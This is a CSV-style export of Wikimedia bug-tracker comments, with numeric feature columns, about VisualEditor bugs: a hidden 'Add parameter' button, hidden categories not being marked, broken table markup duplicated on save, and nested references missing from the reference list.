**Attached**: {F11128}",,,1373539077,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-3x6yvjlb5kfqndi3ivao,task_subcomment,,True,c1,3,True,,,1,,2.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,11.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.044444444444444,0.8666666666666667,"Created attachment 12829
Screenshot of the problem (current version)

No add button anywhere in sight, users are likely to be blocked indefinitely with no ability to add any parameters.

**Attached**: {F11128}"
234203,"[Regression] VisualEditor: The ""Add parameter"" confirmation button should be close to the input field (at least visible)","Though I don't know for sure, I think this is a recent regression. the button used to be where it should be (next to the input field). However at that time the input field width was also dynamic (widening as you type). I suspect Trevor ""fixed"" that odd overflow bug by moving the bottom out of the visible form area but probably tested it only with a small template where it was still in sight.

Adding screenshots for clarity.",,,1373538997,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-3x6yvjlb5kfqndi3ivao,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,1.0,8.0,3.0,0.0,1.0,0.0,3.0,1.0,0.0,1.0,0.0,3.0,0.0,9.0,13.0,0.0,1.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,3.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,8.0,5.0,8.0,3.0,1.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,13.0,1.0,0.0,2.0,0.0,8.0,0.0,3.0,2.0,0.0,3.0,0.0,0.0,0.0,3.763440860215054,0.7419354838709677,"Though I don't know for sure, I think this is a recent regression. the button used to be where it should be (next to the input field). However at that time the input field width was also dynamic (widening as you type). I suspect Trevor ""fixed"" that odd overflow bug by moving the bottom out of the visible form area but probably tested it only with a small template where it was still in sight.

Adding screenshots for clarity."
234196,"[Regression] VisualEditor: The ""Add parameter"" confirmation button should be close to the input field (at least visible)",Works for me. Can we twiddle with the prioritisation and criticality? This is a big workflow to have practically broken.,,,1373538953,,PHID-USER-j5ma2nageni56xp567v5,True,,,PHID-TASK-3x6yvjlb5kfqndi3ivao,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,4.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,13.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,13.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.391304347826087,0.9565217391304348,Works for me. Can we twiddle with the prioritisation and criticality? This is a big workflow to have practically broken.
234189,"[Regression] VisualEditor: The ""Add parameter"" confirmation button should be close to the input field (at least visible)","We're getting various reports of this kind, let's try and keep them somewhat focussed on a single tangible thing. If you don't mind I'll turn this into:

The ""Add parameter"" confirmation button should be next to the input field

  .. not at the bottom of the page after a potential long list of paramaters one has to scroll through to even discover the button.",,,1373538890,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-3x6yvjlb5kfqndi3ivao,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,3.0,9.0,1.0,0.0,0.0,1.0,0.0,4.0,0.0,1.0,0.0,3.0,0.0,5.0,16.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,9.0,1.0,7.0,1.0,1.0,12.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,0.0,7.0,16.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,3.9342105263157894,0.8421052631578947,"We're getting various reports of this kind, let's try and keep them somewhat focussed on a single tangible thing. If you don't mind I'll turn this into:

The ""Add parameter"" confirmation button should be next to the input field

  .. not at the bottom of the page after a potential long list of paramaters one has to scroll through to even discover the button."
234184,"[Regression] VisualEditor: The ""Add parameter"" confirmation button should be close to the input field (at least visible)",We really need a fix on this. I just tried to add a template (cite web) and was so confused I had to reach out to Timo and Guillaume to work out how in the hells you add a parameter. It's...tremendously counterintuitive on any template with more than 5 params.,,,1373538824,,PHID-USER-j5ma2nageni56xp567v5,True,,,PHID-TASK-3x6yvjlb5kfqndi3ivao,task_subcomment,,True,c1,3,False,,,1,,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,19.0,0.0,5.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,11.0,2.0,4.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,7.0,19.0,4.0,0.0,0.0,0.0,7.0,0.0,2.0,5.0,0.0,0.0,2.0,0.0,0.0,3.7017543859649122,0.7719298245614035,We really need a fix on this. I just tried to add a template (cite web) and was so confused I had to reach out to Timo and Guillaume to work out how in the hells you add a parameter. It's...tremendously counterintuitive on any template with more than 5 params.
234177,"[Regression] VisualEditor: The ""Add parameter"" confirmation button should be close to the input field (at least visible)","Agreed. This is what I was going to add into a new feature request:

---------

In the current version of the template editor, the user needs to select a parameter, click ""Add parameter"", enter the value, go back, and rinse and repeat for all the other parameters.

There are at least two issues with this workflow:

* For templates with a long list of parameters, the ""Add parameter"" button is hidden at the end of the list, so it's not obvious what to do after selecting a parameter
*: Possible solution: Give each parameter a button that adds it to the left column (like a green ""+"" sign, or something)

* If the user needs/wants to add many parameters, the process can be quite long.
*: Possible solution: Add an ""Add all parameters"" button, and possibly an ""Add all required parameters"" button as well.",,,1373034592,,PHID-USER-z6nzrwuaij3spgyg23jt,True,,,PHID-TASK-3x6yvjlb5kfqndi3ivao,task_subcomment,,True,c1,3,False,,,0,,2.5,0.5,0.0,0.5,0.5,6.5,0.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.5,0.0,4.0,10.5,0.5,2.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,4.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,16.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,10.0,2.5,8.0,1.0,2.0,13.0,0.0,0.0,0.0,0.0,8.0,0.0,0.5,0.0,1.5,10.5,0.0,0.0,5.0,0.0,1.5,0.0,1.5,4.0,0.0,1.0,0.0,0.5,0.0,3.60752688172043,0.6451612903225806,"Agreed. This is what I was going to add into a new feature request:

---------

In the current version of the template editor, the user needs to select a parameter, click ""Add parameter"", enter the value, go back, and rinse and repeat for all the other parameters.

There are at least two issues with this workflow:

* For templates with a long list of parameters, the ""Add parameter"" button is hidden at the end of the list, so it's not obvious what to do after selecting a parameter
*: Possible solution: Give each parameter a button that adds it to the left column (like a green ""+"" sign, or something)

* If the user needs/wants to add many parameters, the process can be quite long.
*: Possible solution: Add an ""Add all parameters"" button, and possibly an ""Add all required parameters"" button as well."
52763,VisualEditor: Mark hidden categories as different in the meta-data dialog so users understand they won't display,"The existing editing interface stores data on hidden categories, and on the templates in use. This is not displayed in the existing VE - it seems like the sort of thing the page settings page might be good for.

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1372964580,1393467412.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-2avh7ag4txo4yazyqwg3,task_description,resolved,True,c1,3,False,False,False,0,,0.0,0.0,0.0,2.0,2.0,3.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,23.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,8.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.15,0.7166666666666667,"The existing editing interface stores data on hidden categories, and on the templates in use. This is not displayed in the existing VE - it seems like the sort of thing the page settings page might be good for.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
233632,VisualEditor: Mark hidden categories as different in the meta-data dialog so users understand they won't display,"Maybe we could show these a bit more clear in the dialog, but closing for now.",,,1393467412,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2avh7ag4txo4yazyqwg3,task_subcomment,,True,c1,3,True,,,34,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,3.5,1.0,"Maybe we could show these a bit more clear in the dialog, but closing for now."
233627,VisualEditor: Mark hidden categories as different in the meta-data dialog so users understand they won't display,"Change 113464 merged by jenkins-bot:
Mark hidden categories as different in the meta-data dialog

https://gerrit.wikimedia.org/r/113464",,,1393467180,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2avh7ag4txo4yazyqwg3,task_subcomment,,True,c1,3,False,,,34,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.363636363636363,0.9545454545454546,"Change 113464 merged by jenkins-bot:
Mark hidden categories as different in the meta-data dialog

GERRIT_URL"
233621,VisualEditor: Mark hidden categories as different in the meta-data dialog so users understand they won't display,"Change 113464 had a related patch set uploaded by Alex Monk:
VisualEditor: Mark hidden categories as different in the meta-data dialog so users understand they won't display

https://gerrit.wikimedia.org/r/113464",,,1392414019,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2avh7ag4txo4yazyqwg3,task_subcomment,,True,c1,3,False,,,32,,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,17.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,9.0,14.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.571428571428571,0.9714285714285714,"Change 113464 had a related patch set uploaded by Alex Monk:
VisualEditor: Mark hidden categories as different in the meta-data dialog so users understand they won't display

GERRIT_URL"
233613,VisualEditor: Mark hidden categories as different in the meta-data dialog so users understand they won't display,"(In reply to Alex Monk from comment #4)
> Am I right in thinking that the category data comes from Parsoid? If so then
> it might be useful to include whether the category is hidden or not there?

Okay so after discussion with James and Gabriel on IRC, for now I'm going to query the API when the category dialog loads to get this information. Later to be replaced by a general CSS cache API query (see bug 37901).",,,1392400602,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-2avh7ag4txo4yazyqwg3,task_subcomment,,True,c1,3,True,,,32,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,17.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,2.0,0.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,22.0,2.0,2.0,6.0,0.0,0.0,0.0,2.0,6.0,2.0,3.0,0.0,2.0,17.0,8.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.5396825396825395,0.8253968253968254,"(In reply to Alex Monk from comment #4)
QUOTE
QUOTE

Okay so after discussion with James and Gabriel on IRC, for now I'm going to query the API when the category dialog loads to get this information. Later to be replaced by a general CSS cache API query (see bug 37901)."
233606,VisualEditor: Mark hidden categories as different in the meta-data dialog so users understand they won't display,Am I right in thinking that the category data comes from Parsoid? If so then it might be useful to include whether the category is hidden or not there?,,,1392168563,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-2avh7ag4txo4yazyqwg3,task_subcomment,,True,c1,3,True,,,32,,0.0,0.0,0.0,3.0,3.0,6.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,13.0,10.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,19.0,3.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.967741935483871,0.9032258064516129,Am I right in thinking that the category data comes from Parsoid? If so then it might be useful to include whether the category is hidden or not there?
233600,VisualEditor: Mark hidden categories as different in the meta-data dialog so users understand they won't display,Re-wording to be less confusing. Sorry!,,,1392062209,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2avh7ag4txo4yazyqwg3,task_subcomment,,True,c1,3,True,,,32,,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,3.4,1.0,Re-wording to be less confusing. Sorry!
233596,VisualEditor: Mark hidden categories as different in the meta-data dialog so users understand they won't display,I think I'm missing something here - it appears that I can see hidden categories and add hidden categories to pages using the categories tool. Is this bug still valid?,,,1391984557,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-2avh7ag4txo4yazyqwg3,task_subcomment,,True,c1,3,True,,,31,,0.0,3.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,0.0,6.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,12.0,6.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,12.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,6.0,0.0,3.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.181818181818182,0.8484848484848485,I think I'm missing something here - it appears that I can see hidden categories and add hidden categories to pages using the categories tool. Is this bug still valid?
233592,VisualEditor: Mark hidden categories as different in the meta-data dialog so users understand they won't display,"""A late answer to the question of whether there are hidden categories that are actually embedded in articles instead of templates: YES. For instance Category:Year of birth missing (living people) is directly embedded into some tens of thousands of them""",,,1373212682,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-2avh7ag4txo4yazyqwg3,task_subcomment,,True,c1,3,True,,,0,,2.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,4.0,6.0,10.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,21.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,2.0,2.0,4.0,0.0,0.0,0.0,4.458333333333333,0.8333333333333334,"""A late answer to the question of whether there are hidden categories that are actually embedded in articles instead of templates: YES. For instance Category:Year of birth missing (living people) is directly embedded into some tens of thousands of them"""
52754,VisualEditor: broken <table> syntax causes VE to inject additional <table> html,"In this case, https://en.wikipedia.org/w/index.php?title=Long_Island&diff=562848384&oldid=562113547 - oh dear.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1372954980,1374329698.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-44thcl26amo7hsho63fi,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4444444444444446,0.6666666666666666,"In this case, URL - oh dear.

--------------------------
**Version**: unspecified
**Severity**: major"
233093,VisualEditor: broken <table> syntax causes VE to inject additional <table> html,"

*** This bug has been marked as a duplicate of bug 51217 ***",,,1374329698,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-44thcl26amo7hsho63fi,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 51217 ***"
233087,VisualEditor: broken <table> syntax causes VE to inject additional <table> html,"A minor change in a completely unrelated part of the article causes a copy of the broken table to be injected into the article, and a '<tr' (no closing >) is also included.  Upping priority/importance as it should at least ignore elements it doesnt properly understand.  The <table> was not so broken that the wikitext up to the </table> should have been ignored.

I am able to reproduce the '<tr' being added [[testwiki:User:John_Vandenberg/Table_test]], but in my test the table wasnt copied.

After fixing the syntax on enwp, the problem goes away.

https://en.wikipedia.org/w/index.php?title=Long_Island&action=history&offset=201307180315&limit=3",,,1374117478,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-44thcl26amo7hsho63fi,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.5,3.5,0.5,3.5,1.0,0.0,0.0,0.0,2.0,2.5,0.0,0.0,0.0,1.5,0.0,5.0,9.0,0.0,1.5,1.5,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,9.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,1.0,0.5,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,8.5,4.5,6.0,1.0,1.5,9.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,3.0,9.0,2.5,0.0,2.5,0.0,3.0,0.0,0.0,2.0,0.0,1.5,0.0,0.5,6.0,3.5716783216783217,0.7784382284382284,"A minor change in a completely unrelated part of the article causes a copy of the broken table to be injected into the article, and a '<tr' (no closing >) is also included.  Upping priority/importance as it should at least ignore elements it doesnt properly understand.  The <table> was not so broken that the wikitext up to the </table> should have been ignored.

I am able to reproduce the '<tr' being added [[testwiki:User:John_Vandenberg/Table_test]], but in my test the table wasnt copied.

After fixing the syntax on enwp, the problem goes away.

URL"
52749,VisualEditor: Incorrectly displaying nested references,"Copied from English Wikipedia:

A similar bug was reported as #49536 , but closed as fixed a while ago. Article Otto I has a reference (""ref"") to ""Thompson"" (numbered #11 in old edit mode) inside an explanatory footnote ""efn"". The notes are generated below the article using ""notelist"". Ref 11 Thompson is not included in the reflist of VE, but shown in regular read mode. Just compare the reference lists in read and in VE edit mode to see the difference. GermanJoe (talk) 13:03, 4 July 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51289
https://bugzilla.wikimedia.org/show_bug.cgi?id=52398",High,80.0,1372948260,1408586751.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-6255kvv4aihzvptanmel,task_description,resolved,True,c1,3,False,False,False,0,,0.0,0.0,0.0,1.5,0.5,4.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.0,0.5,0.0,3.0,7.0,0.0,0.5,0.0,0.5,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.5,1.5,2.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.0,1.5,14.0,0.0,2.0,5.0,0.0,0.0,0.0,1.0,2.0,0.0,3.5,0.0,0.5,7.0,6.5,0.0,4.0,0.0,0.5,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,3.4816400304414,0.6820776255707763,"Copied from English Wikipedia:

A similar bug was reported as #49536 , but closed as fixed a while ago. Article Otto I has a reference (""ref"") to ""Thompson"" (numbered #11 in old edit mode) inside an explanatory footnote ""efn"". The notes are generated below the article using ""notelist"". Ref 11 Thompson is not included in the reflist of VE, but shown in regular read mode. Just compare the reference lists in read and in VE edit mode to see the difference. GermanJoe (talk) 13:03, 4 July 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL"
232798,VisualEditor: Incorrectly displaying nested references,Filed a bug against Parsoid: see bug 69827,,,1408586751,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-6255kvv4aihzvptanmel,task_subcomment,,True,c1,3,True,,,59,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.888888888888889,0.8888888888888888,Filed a bug against Parsoid: see bug 69827
232793,VisualEditor: Incorrectly displaying nested references,"Look at [[Otto I]].  It has 63 references, including ref #18 (""Thompson"") from explanatory footnote [d].  This ref doesn't appear in VisualEditor.",,,1408406807,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-6255kvv4aihzvptanmel,task_subcomment,,True,c1,3,False,,,59,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,5.0,0.0,5.0,8.0,8.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,3.125,0.775,"Look at [[Otto I]].  It has 63 references, including ref #18 (""Thompson"") from explanatory footnote [d].  This ref doesn't appear in VisualEditor."
